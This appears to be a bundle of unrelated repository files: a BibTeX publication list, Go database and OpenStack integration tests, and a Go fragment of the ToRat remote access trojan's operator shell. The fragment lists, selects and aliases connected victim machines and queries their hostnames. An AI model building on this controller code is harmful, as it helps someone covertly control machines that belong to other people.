  author    = {G. Baudart and T. Bourke and M. Pouzet},
  title     = {Symbolic Simulation of Dataflow Synchronous Programs with Timers},
  booktitle = {FDL},
  year      = {2017},
  address   = {Verona, Italy},
  month     = sep,
  note      = {Best Paper Award.},
  file      = {./papers/fdl17.pdf},
}

@misc{patent_botshield17,
  label={USPatent17},
  title={Cognitive virtual detector, Patent: US20190116136A1},
  author={G. Baudart and J. Dolby and E. Duesterwald and D. Piorkowski},
  month=oct,
  year=2017,
  file= {./papers/patent17.pdf},
}

@InProceedings{wcs_jfla18,
  label  = {JFLA18},
  author    = {G. Baudart and L. Mandel and J. Siméon},
  title     = {Programmer des chatbots en OCaml avec {Watson Conversation Service}},
  booktitle = {JFLA},
  year      = {2018},
  address   = {Banyuls-sur-Mer, France},
  month     = jan,
  file      = {./papers/jfla18.pdf},
}

@inBook{stream_bigdata18,
  label  = {BigData18},
  author      = {M. Hirzel and G. Baudart},
  chapter     = {Stream Processing Languages and Abstractions},
  title       = {Encyclopedia of Big Data Technologies},
  publisher   = {Springer},
  year        = 2018,
  month       = mar,
  file        = {./papers/bigdata18.pdf},
}

@inbook{symb_fdlbook18,
  label  = {LDTES},
  author    = {G. Baudart and T. Bourke and M. Pouzet},
  chapter     = {Symbolic Simulation of Dataflow Synchronous Programs with Timers},
  title   = {FDL Book},
  publisher   = {Springer},
  year        = 2018,
  file        = {./papers/fdlbook18.pdf},
}

@misc{patent_pii18,
  label={USPatent18},
  title={Configurable and non-invasive protection of private information for conversational agents, Patent: US20190278942A1},
  author={G. Baudart and E. Duesterwald and M. Hirzel and A. Shinnar and J. Dolby},
  month=mar,
  year=2018,
  file = {./papers/patent18.pdf},
}

@TechReport{deepppl_arx18,
  label  = {ArXiv18a},
  author={G. Baudart and M. Hirzel and L. Mandel},
  title={Deep Probabilistic Programming Languages: A Qualitative Study},
  year=2018,
  month=apr,
  type = {Research Report},
  institution = {arXiv},
  number = {1804.06458},
  url = {https://arxiv.org/abs/1804.06458},
  note = {Also a poster at PLDI MAPL.}
}

@Article{stream_sigmod18,
  label  = {SIGMOD18},
  author     = {M. Hirzel and G. Baudart and A. Bonifati and E. Della
      Valle and S. Sakr and A. Vlachou},
  title      = {{Stream Processing Languages in the Big Data Era}},
  journal    = {SIGMOD Record},
  year       = {2018},
  volume     = {47},
  number     = {2},
  pages      = {29-40},
  month      = jun,
  file       = {./papers/sigmodrecord18.pdf}
}

@unpublished{yaps_probprog18,
  label = {ProbProg18a},
  author = {G. Baudart and A. Shinnar and L. Mandel and M. Hirzel},
  title = {Watertight Probabilistic Abstractions in Python},
  booktitle = {PROBPROG},
  year = 2018,
  month = oct,
  address = {Boston, USA},
  note = {Poster.},
  file       = {./papers/probprog18-yaps.pdf}
}

@unpublished{rppl_probprog18,
  label = {ProbProg18b},
  author = {L. Mandel and G. Baudart and A. Shinnar and Kiran Kate and M. Hirzel},
  title = {Probabilistic Reactive Programming},
  booktitle = {PROBPROG},
  year = 2018,
  month = oct,
  address = {Boston, USA},
  note = {Poster.},
  file       = {./papers/probprog18-rppl.pdf}
}

@InProceedings{chatbot_rebls18,
  label = {REBLS18a},
  author = {G. Baudart and M. Hirzel and L. Mandel and A. Shinnar and J. Siméon},
  title = {Reactive Chatbot Programming},
  booktitle = {SPLASH REBLS},
  year = 2018,
  month = nov,
  address = {Boston, USA},
  file       = {./papers/rebls18-chatbot.pdf}
}

@InProceedings{cloudlens_rebls18,
  label = {REBLS18b},
  author = {G. Baudart and L. Mandel and O. Tardieu and M. Vaziri},
  title = {A Reactive Language for Analyzing Cloud Logs},
  booktitle = {SPLASH REBLS},
  year = 2018,
  month = nov,
  address = {Boston, USA},
  file       = {./papers/rebls18-cloudlens.pdf}
}

@InProceedings{botshield_onward18,
  label = {Onward!18},
  author = {G. Baudart and J. Dolby and E. Duesterwald and M. Hirzel and A. Shinnar.},
  title = {Protecting Chatbots from Toxic Content},
  booktitle = {SPLASH Onward!},
  year = 2018,
  month = nov,
  address = {Boston, USA},
  file       = {./papers/onward18.pdf}
}

@TechReport{yaps_arx18,
  label = {ArXiv18c},
  author={G. Baudart and M. Hirzel and K. Kate and L. Mandel and A. Shinnar},
  title={Yaps: Python Frontend to Stan},
  year=2018,
  month=dec,
  type = {Research Report},
  institution = {arXiv},
  number = {1812.04125},
  url = {https://arxiv.org/abs/1812.04125},
}

@InProceedings{synchronous_jfla19,
  label = {JFLA19},
  author    = {G. Baudart and L. Mandel and M. Pouzet},
  title     = {Programmation Synchrone aux JFLA},
  booktitle = {JFLA},
  year      = {2019},
  address   = {Les Rousses, France},
  month     = jan,
  file      = {./papers/jfla19.pdf},
}

@InProceedings{yaps_mapl19,
  label = {MAPL19},
  author = {G. Baudart and M. Hirzel and K. Kate and L. Mandel and A. Shinnar},
  title = {Machine Learning in Python with No Strings Attached},
  booktitle = {PLDI MAPL},
  year = 2019,
  month = jun,
  address = {Phoenix, USA},
  file  = {./papers/mapl19.pdf}
}

@InProceedings{graphql_icsoc19,
  label={ICSOC19},
  author = {E. Wittern and A. Cha and J.C. Davis and G. Baudart and L. Mandel},
  title = {An Empirical Study of {GraphQL} Schemas},
  booktitle = {ICSOC},
  year = 2019,
  month = oct,
  address = {Toulouse, France},
  file  = {./papers/icsoc19.pdf}
}

@unpublished{aidocminer_automl20,
  label={AutoML_ICML20},
  author    = {G. Baudart and P.D. Kirchner and M. Hirzel and K. Kate},
  title     = {Mining Documentation to Extract Hyperparameter Schemas},
  booktitle = {ICML AutoML},
  year      = {2020},
  year = 2020,
  month = jul,
  address = {Vienna, Austria},
  file  = {./papers/automl_icml20.pdf}
}

@unpublished{lale_automl20,
  label={AutoML_KDD20},
  author    = {G. Baudart and M. Hirzel and K. Kate and P. Ram and A. Shinnar},
  title     = {Lale: Consistent Automated Machine Learning},
  booktitle = {KDD AutoML},
  year      = {2020},
  year = 2020,
  month = aug,
  address = {Anchorage, USA},
  file = {./papers/automl_kdd20.pdf}
}

@InProceedings{graphql_fse20,
  label={FSE20},
  author = {A. Cha and E. Wittern and G. Baudart and J.C. Davis and L. Mandel and J. Laredo},
  title = {A Principled Approach to {GraphQL} Query Cost Analysis},
  booktitle = {ESEC/FSE},
  year = 2020,
  month = nov,
  address = {Sacramento, USA},
  note = {ACM SIGSOFT Distinguished Paper award.},
  file = {./papers/fse20.pdf}
}

@InProceedings{rppl_jfla20,
  label={JFLA20},
  author    = {G. Baudart and L. Mandel and E. Atkinson and B. Sherman and M. Pouzet and M. Carbin},
  title     = {Programmation d’Applications Réactives Probabilistes},
  booktitle = {JFLA},
  year      = {2020},
  address   = {Gruissan, France},
  month     = jan,
  file      = {./papers/jfla20.pdf},
}

@unpublished{deepstan_probprog20,
  label={ProbProb20a},
  author = {G. Baudart and J. Burroni and M. Hirzel and K. Kate and L. Mandel and A. Shinnar},
  title = {Compiling Stan to Generative Probabilistic Languages},
  booktitle = {PROBPROG},
  year = 2020,
  month = apr,
  address = {Boston, USA},
  note = {Poster.},
  file = {./papers/probprog20-deepstan.pdf}
}

@unpublished{rppl_probprog20,
  label={ProbProb20b},
  author    = {G. Baudart and L. Mandel and E. Atkinson and B. Sherman and M. Pouzet and M. Carbin},
  title     = {Programming Reactive Probabilistic Applications},
  booktitle = {PROBPROG},
  year      = {2020},
  year = 2020,
  month = apr,
  address = {Boston, USA},
  note = {Poster.},
  file = {./papers/probprog20-rppl.pdf}
}

@InProceedings{rppl_pldi20,
  label={PLDI20},
  author = {G. Baudart and L. Mandel and E. Atkinson and B. Sherman and M. Pouzet and M. Carbin},
  title = {Reactive Probabilistic Programming},
  booktitle = {PLDI},
  year = 2020,
  month = jun,
  address = {London, UK},
  file  = {./papers/pldi20.pdf}
}

@unpublished{fdl20,
  label={FDL20},
  author    = {G. Baudart and J-L. Colaço and L. Mandel and M. Mendler and M. Pouzet},
  title     = {WiP. A Co-Iterative Synchronous Interpreter},
  booktitle = {FDL},
  year      = {2020},
  year = 2020,
  month = sep,
  address = {Kiel, Germany},
  file = {./papers/fdl20.pdf}
}

@InProceedings{deepstan_pldi21,
  label       = {PLDI21},
  author      = {G. Baudart and J. Burroni and M. Hirzel and L. Mandel and A. Shinnar},
  title       = {Compiling Stan to Generative Probabilistic Languages and Extension to Deep Probabilistic Programming},
  year        = 2021,
  booktitle   = {PLDI},
  month       = jun,
  address     = {Virtual},
  file        = {./papers/pldi21.pdf}
}

@unpublished{ssmls_iclr21,
  label= {MLSec_ICLR21},
  author    = {I. Rak-amnouykit and A. Milanova and G. Baudart and M. Hirzel and J. Dolby},
  title     = {Extracting Hyperparameter Constraints from Code},
  booktitle = {ICLR SSML},
  year      = 2021,
  month = may,
  address = {Virtual},
  file  = {./papers/ssmls_iclr21.pdf}
}

@InProceedings{graphql_ase21,
  label= {ASE21},
  author    = {G. Mavroudeas and G. Baudart and A. Cha and M. Hirzel and J. Laredo and M. Magdon-Ismail and L. Mandel and E. Wittern},
  title     = {Learning GraphQL Query Cost},
  booktitle = {ASE Industry},
  year      = 2021,
  month = nov,
  address = {Virtual},
  file  = {./papers/ase21.pdf}
}

@InProceedings{sds_oopsla21,
  label={OOPSLA_21},
  author = {E. Atkinson and G. Baudart and L. Mandel and  C. Yuan and M. Carbin},
  title = {Statically Bounded-Memory Delayed Sampling for Probabilistic Streams},
  booktitle = {OOPSLA},
  year = 2021,
  month = oct,
  address = {Chicago, USA},
  file  = {./papers/oopsla21.pdf}
}

@unpublished{autoguides_probprog21,
  label={ProbProb21a},
  author = {G. Baudart and L. Mandel},
  title = {Automatic Guide Generation for Stan via NumPyro},
  booktitle = {PROBPROG},
  year = 2021,
  month = oct,
  address = {Virtual},
  note = {Oral.},
  file = {./papers/probprog21-autoguides.pdf}
}

@unpublished{sds_probprog21,
  label={ProbProb21b},
  author    = {E. Atkinson and G. Baudart and L. Mandel and C. Yuan and M. Carbin},
  title     = {Statically Bounded-Memory Delayed Sampling for Probabilistic Streams},
  booktitle = {PROBPROG},
  year      = 2021,
  month = oct,
  address = {Virtual},
  note = {Poster.},
  file = {./papers/probprog21-sds.pdf}
}

@InProceedings{lale_neurips21,
  label={NeurIPS21},
  author = {G. Baudart and M. Hirzel and K. Kate and P. Ram and A. Shinnar and J. Tsay},
  title = {Pipeline Combinators for Gradual AutoML},
  booktitle = {NeurIPS},
  year = 2021,
  month = dec,
  address = {Virtual},
  file  = {./papers/neurips21.pdf}
}

@InProceedings{zlax_jfla22,
  label={JFLA22},
  author    = {G. Baudart and L. Mandel and M. Pouzet and R. Tekin},
  title     = {Inférence parallèle pour un langage réactif probabiliste},
  booktitle = {JFLA},
  year      = {2022},
  address   = {Saint-Médard-d'Excideuil, France},
  month     = jun,
  file      = {./papers/jfla22.pdf},
}

@InProceedings{zlax_lctes22,
  label={LCTES22},
  author    = {G. Baudart and L. Mandel and R. Tekin},
  title     = {JAX Based Parallel Inference for Reactive Probabilistic Programming},
  booktitle = {LCTES},
  year      = {2022},
  address   = {San Diego, USA},
  month     = jun,
  file      = {./papers/lctes22.pdf},
}

@InProceedings{wp_issta22,
  label={ISSTA22},
  author    = {I. Rak-amnouykit and A. Milanova and G. Baudart and M. Hirzel and J. Dolby},
  title     = {The Raise of Machine Learning Hyperparameter Constraints in Python Code},
  booktitle = {ISSTA},
  year      = {2022},
  address   = {Virtual},
  month     = jul,
  file      = {./papers/issta22.pdf},
  note      = {ACM SIGSOFT Distinguished Paper award.},
}

@InProceedings{ss_oopsla22,
  label={OOPSLA22},
  author = {E. Atkinson and  C. Yuan and G. Baudart and L. Mandel and M. Carbin},
  title = {Semi-Symbolic Inference for Efficient Streaming Probabilistic Programming},
  booktitle = {OOPSLA},
  year = 2022,
  month = oct,
  address = {Auckland, New Zealand},
  file  = {./papers/oopsla22.pdf},
}

@InProceedings{apf_jfla22,
  label={JFLA22},
  author    = {G. Baudart and G. Bussone and L. Mandel and C. Tasson},
  title     = {Filtrer sans s'appauvrir : inférer les paramètres constants des modèles réactifs probabilistes},
  booktitle = {JFLA},
  year      = {2023},
  address   = {Praz-sur-Arly, France},
  month     = jan,
  file      = {./papers/jfla23.pdf}
}

@unpublished{ssi_veriprop23,
  label={},
  author    = {E. Atkinson and E. Cheng and G. Baudart and L. Mandel and M. Carbin},
  title     = {Verifying Performance Properties of Probabilistic Inference},
  booktitle = {CAV VeriProP},
  year      = {2023},
  month = Jul,
  address = {Paris, France},
  file = {./papers/veriprop23.pdf}
}

@unpublished{onlinesampling_spigm23,
  label={SPIGM_ICML23},
  author    = {W. Azizian, G. Baudart and M. Lelarge},
  title     = {Automatic Rao-Blackwellization for Sequential Monte Carlo with Belief Propagation},
  booktitle = {ICML SPIGM},
  year      = {2023},
  year = 2023,
  month = jul,
  address = {Hawai, USA},
  note = {Poster.},
  file = {./papers/spigm_icml23.pdf}
}

license: MIT

gha_language: Isabelle

extension: bib


text:
package db_test

import (
	"database/sql"
	"log"
	"reflect"
	"testing"
	"time"

	"github.com/golang/protobuf/ptypes"
	"github.com/halimi/todo-list-service/db"
	"github.com/halimi/todo-list-service/todolistpb"
)

func setupDB() *sql.DB {
	config := &db.PostgresConfig{
		User:     "postgres",
		Password: "postgres",
		Host:     "localhost",
		Port:     "5432",
	}
	return db.Setup(config)
}

func getTestTodo(id int32, title string) *todolistpb.Todo {
	dd, err := ptypes.TimestampProto(time.Date(2000, 1, 1, 0, 0, 0, 0, time.Local))
	if err != nil {
		log.Fatalf("Could not convert timestamp: %v", err)
	}

	return &todolistpb.Todo{
		Id:      id,
		Title:   title,
		Note:    "This is a test",
		DueDate: dd,
	}
}

func TestInsert(t *testing.T) {
	postgres := &db.Postgres{setupDB()}
	defer postgres.Close()

	got, err := postgres.Insert(getTestTodo(0, "Test Todo"))
	if err != nil {
		t.Fatal(err)
	}

	var want int32 = 1

	if got != want {
		t.Fatalf("Want: %v, Got: %v\n", want, got)
	}
}

func TestGet(t *testing.T) {
	postgres := &db.Postgres{setupDB()}
	defer postgres.Close()

	id, err := postgres.Insert(getTestTodo(0, "Test Todo"))
	if err != nil {
		t.Fatal(err)
	}

	got, err := postgres.Get(id)
	if err != nil {
		t.Fatal(err)
	}

	want := getTestTodo(1, "Test Todo")

	if !reflect.DeepEqual(got, want) {
		t.Fatalf("Want: %v, Got: %v\n", want, got)
	}
}

func TestUpdate(t *testing.T) {
	postgres := &db.Postgres{setupDB()}
	defer postgres.Close()

	id, err := postgres.Insert(getTestTodo(0, "Test Todo"))
	if err != nil {
		t.Fatal(err)
	}

	want := getTestTodo(id, "Update Test Todo")

	got, err := postgres.Update(want)
	if err != nil {
		t.Fatal(err)
	}

	if !reflect.DeepEqual(got, want) {
		t.Fatalf("Want: %v, Got: %v\n", want, got)
	}
}

func TestDelete(t *testing.T) {
	postgres := &db.Postgres{setupDB()}
	defer postgres.Close()

	id, err := postgres.Insert(getTestTodo(0, "Test Todo"))
	if err != nil {
		t.Fatal(err)
	}

	got, err := postgres.Delete(id)
	if err != nil {
		t.Fatal(err)
	}

	var want int64 = 1
	if got != want {
		t.Fatalf("Want: %v, Got: %v\n", want, got)
	}
}

func TestList(t *testing.T) {
	postgres := &db.Postgres{setupDB()}
	defer postgres.Close()

	id1, err := postgres.Insert(getTestTodo(0, "Test Todo"))
	if err != nil {
		t.Fatal(err)
	}

	id2, err := postgres.Insert(getTestTodo(0, "Test Todo"))
	if err != nil {
		t.Fatal(err)
	}

	got, err := postgres.List()
	if err != nil {
		t.Fatal(err)
	}

	var want []*todolistpb.Todo
	want = append(want, getTestTodo(id1, "Test Todo"))
	want = append(want, getTestTodo(id2, "Test Todo"))

	if !reflect.DeepEqual(got, want) {
		t.Fatalf("Want: %v, Got: %v\n", want, got)
	}
}

repository: halimi/todo-list-service

repo_name: halimi/todo-list-service

branch_name: refs/heads/main


text:
@inproceedings{lee2014investigating,
 author = {Lee, Leong and Jones, Matthew and Ridenour, Gregory S and Testa, Maurice P and Wilson, Michael J},
 booktitle = {International Conference on Geo-Informatics in Resource Management and Sustainable Ecosystem},
 organization = {Springer},
 pages = {215--224},
 title = {Investigating and comparing spatial accuracy and precision of GPS-enabled devices in middle Tennessee},
 year = {2014}
}

repository: wilsongis/minimalworkflow

repo_name: wilsongis/minimalworkflow


text:
package server

import (
	"fmt"
	"os"
	"path/filepath"
	"strings"

	"github.com/abiosoft/ishell"
	"github.com/lu4p/ToRat/shared"
	"github.com/lu4p/ToRat/torat_server/crypto"
)

var void int

// Shell server side interactive shell menu
func Shell() {
	fileCompleter := func([]string) []string {
		files, err := filepath.Glob("*")
		if err != nil {
			return nil
		}
		return files
	}

	shell := ishell.New()
	cwd, err := os.Getwd()
	if err != nil {
		fmt.Println(green("[Server] ") + red("[!]", err))
		panic(err)
	}
	shell.SetPrompt(green("[Server] ") + blue(cwd) + "$ ")

	commands := []*ishell.Cmd{
		{
			// Select client
			Name: "select",
			Func: func(c *ishell.Context) {
				if len(activeClients) == 0 {
					fmt.Println(green("[Server] ") + red("[!] No clients to select!"))
					return
				}
				choice := c.MultiChoice(listConn(), "Select client to interact with:")
				client := getClient(choice)
				client.shellClient()
			},
			Help: "interact with a client",
		},

		{
			// List clients
			Name: "list",
			Func: func(c *ishell.Context) {
				if len(activeClients) == 0 {
					fmt.Println(green("[Server] ") + red("[!] No clients connected yet!"))
					return
				}
				printClients()
			},
			Help: "list all connected clients",
		},
		{
			// Set client alias
			Name: "alias",
			Func: func(c *ishell.Context) {
				if len(activeClients) == 0 {
					fmt.Println(green("[Server] ") + red("[!] No clients connected yet!"))
					return
				}
				choice := c.MultiChoice(listConn(), "Select client to give an alias:")
				fmt.Println(green("Type an alias for selected client:"))
				name := c.ReadLine()
				client := activeClients[choice]

				client.Data().Name = name
				saveData()
			},
			Help: "give a client an alias",
		},
		{
			// Change directory
			Name: "cd",
			Func: func(c *ishell.Context) {
				path := strings.Join(c.Args, " ")
				err := os.Chdir(path)
				if err != nil {
					fmt.Println(green("[Server] ") + red("[!] Cannot navigate to that path!"))
					fmt.Println(green("[Server] ") + red("[!]", err))
				}
				cwd, _ := os.Getwd()
				shell.SetPrompt(green("[Server] ") + blue(cwd) + "$ ")
			},
			Help:      "change the working directory of the server",
			Completer: fileCompleter,
		},
		{
			// Exit the server
			Name: "exit",
			Func: func(c *ishell.Context) {
				fmt.Println(green("[Server] ") + red("Exiting Now!"))
				c.Stop()
			},
			Help: "exit the server",
		},
	}

	for _, c := range commands {
		shell.AddCmd(c)
	}

	shell.NotFound(runCommand)
	shell.Run()
}

// Server side shell command
func runCommand(c *ishell.Context) {
	command := strings.Join(c.Args, " ")

	out, err := shared.RunCmd(command, false)
	if err != nil {
		c.Println(green("[Server]"), red("[!] Bad or unknown command:", err))
		return
	} else if out == nil {
		c.Println(green("[Server]"), "No output returned by command!")
		return
	}
	c.Println(string(out))
}

// getHostname of a client
func (ac *activeClient) getHostname() error {
	var encHostname shared.EncAsym

	if err := ac.RPC.Call("API.Hostname", void, &encHostname); err != nil {
		return err
	}

	byteHostname, err := crypto.DecAsym(encHostname)
	if err != nil {
		// try to regenerate the hostname if it can't be decrypted
		if err := ac.RPC.Call("API.NewHostname", void, &encHostname); err != nil {
			return err
		}

		byteHostname, err = crypto.DecAsym(encHostname)
		if err != nil {
			return err
		}
	}

	ac.Hostname = string(byteHostname)
	return nil
}

license: Unlicense

gha_license_id: Unlicense


text:
/*
Copyright 2019 The Arktos Authors.

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// +build integration

package neutron_test

import (
	"fmt"
	"os"
	"testing"

	"github.com/futurewei-cloud/cniplugins/alktron/neutron"
	"github.com/gophercloud/gophercloud"
	"github.com/gophercloud/gophercloud/openstack"
)

// Integration w/ available openstack setup
// use go test ./... -tags=integration [-v] to run integration test cases
// each case may require proper TEST_XXX env vars, otherwise may be skipped
var authOpts = gophercloud.AuthOptions{
	// IdentityEndpoint must be specified by env var TEST_OPENSTACK_URL of value like "http://127.0.0.1:5000/identity"
	Username:   "admin",
	Password:   "secret",
	TenantName: "demo",
	DomainName: "default",
}

func getNeutronClient(authOpts gophercloud.AuthOptions) (*neutron.Client, error) {
	identityEndpoint := os.Getenv("TEST_OPENSTACK_URL")
	if identityEndpoint == "" {
		return nil, fmt.Errorf("openstack server not specified by TEST_OPENSTACK_URL env var")
	}

	authOpts.IdentityEndpoint = identityEndpoint
	provider, err := openstack.AuthenticatedClient(authOpts)
	if err != nil {
		return nil, fmt.Errorf("failed to get provider: %v", err)
	}

	networkClient, err := openstack.NewNetworkV2(provider, gophercloud.EndpointOpts{
		Name:   "neutron",
		Region: "RegionOne",
	})
	if err != nil {
		return nil, fmt.Errorf("failed to get network service client: %v", err)
	}

	neutronClient := neutron.Client{ServiceClient: networkClient}
	return &neutronClient, nil
}

func TestGetPort(t *testing.T) {
	gwPortID := os.Getenv("TEST_GWPORT")
	if gwPortID == "" {
		t.Skipf("skipping due to lack of TEST_GWPORT env var")
	}

	neutronClient, err := getNeutronClient(authOpts)
	if err != nil {
		t.Fatalf("failed to get neutron client: %v", err)
	}

	portDetail, err := neutronClient.GetPort(gwPortID)
	if err != nil {
		t.Skipf("skipping (likely due to nonexistent portid): %v", err)
	}

	t.Logf("port detail %v", portDetail)
	if portDetail.PortsBindingExt.HostID == "" {
		t.Errorf("gw port expecting hostid, got empty")
	}
	if !portDetail.PortsBindingExt.VIFDetails["ovs_hybrid_plug"].(bool) {
		t.Errorf("expecting ovs_hybrid_plug true; got false")
	}
}

func TestBindPort(t *testing.T) {
	portID := os.Getenv("TEST_BINDPORT")
	hostID := os.Getenv("TEST_BINDHOST")
	if portID == "" || hostID == "" {
		t.Skipf("skipping due to lack of TEST_BINDPORT & TEST_BINDHOST env vars")
	}

	neutronClient, err := getNeutronClient(authOpts)
	if err != nil {
		t.Fatalf("failed to get neutron client: %v", err)
	}

	portDetail, err := neutronClient.BindPort(portID, hostID, "dev123")
	if err != nil {
		t.Errorf("failed to bind port %q to %q: %v", portID, hostID, err)
	}

	t.Logf("port detail: %v", portDetail)
	if hostID != portDetail.PortsBindingExt.HostID {
		t.Errorf("hostid expecting %s, got %s", hostID, portDetail.PortsBindingExt.HostID)
	}
	if !portDetail.PortsBindingExt.VIFDetails["ovs_hybrid_plug"].(bool) {
		t.Errorf("expecting ovs_hybrid_plug true; got false")
	}
}

func TestGetSubnet(t *testing.T) {
	subnetID := os.Getenv("TEST_SUBNET")
	if subnetID == "" {
		t.Skipf("skipping due to lack of TEST_SUBNET env var")
	}

	neutronClient, err := getNeutronClient(authOpts)
	if err != nil {
		t.Fatalf("failed to get neutron client: %v", err)
	}

	subnetDetail, err := neutronClient.GetSubnet(subnetID)
	if err != nil {
		t.Errorf("failed to get subnet %q: %v", subnetID, err)
	}

	t.Logf("port detail: %v", subnetDetail)
	if subnetID != subnetDetail.ID {
		t.Errorf("subnetID expecting %s, got %s", subnetID, subnetDetail.ID)
	}
}

func TestUnbindPort(t *testing.T) {
	portID := os.Getenv("TEST_UNBINDPORT")
	if portID == "" {
		t.Skipf("skipping due to lack of TEST_UNBINDPORT env vars")
	}

	neutronClient, err := getNeutronClient(authOpts)
	if err != nil {
		t.Fatalf("failed to get neutron client: %v", err)
	}

	portDetail, err := neutronClient.UnbindPort(portID)
	if err != nil {
		t.Errorf("failed to unbind port %q: %v", portID, err)
	}

	t.Logf("port detail: %v", portDetail)
	if "" != portDetail.PortsBindingExt.HostID {
		t.Errorf("unexpected hostid %s", portDetail.PortsBindingExt.HostID)
	}
}

repository: CentaurusInfra/arktos-cniplugins

repo_name: CentaurusInfra/arktos-cniplugins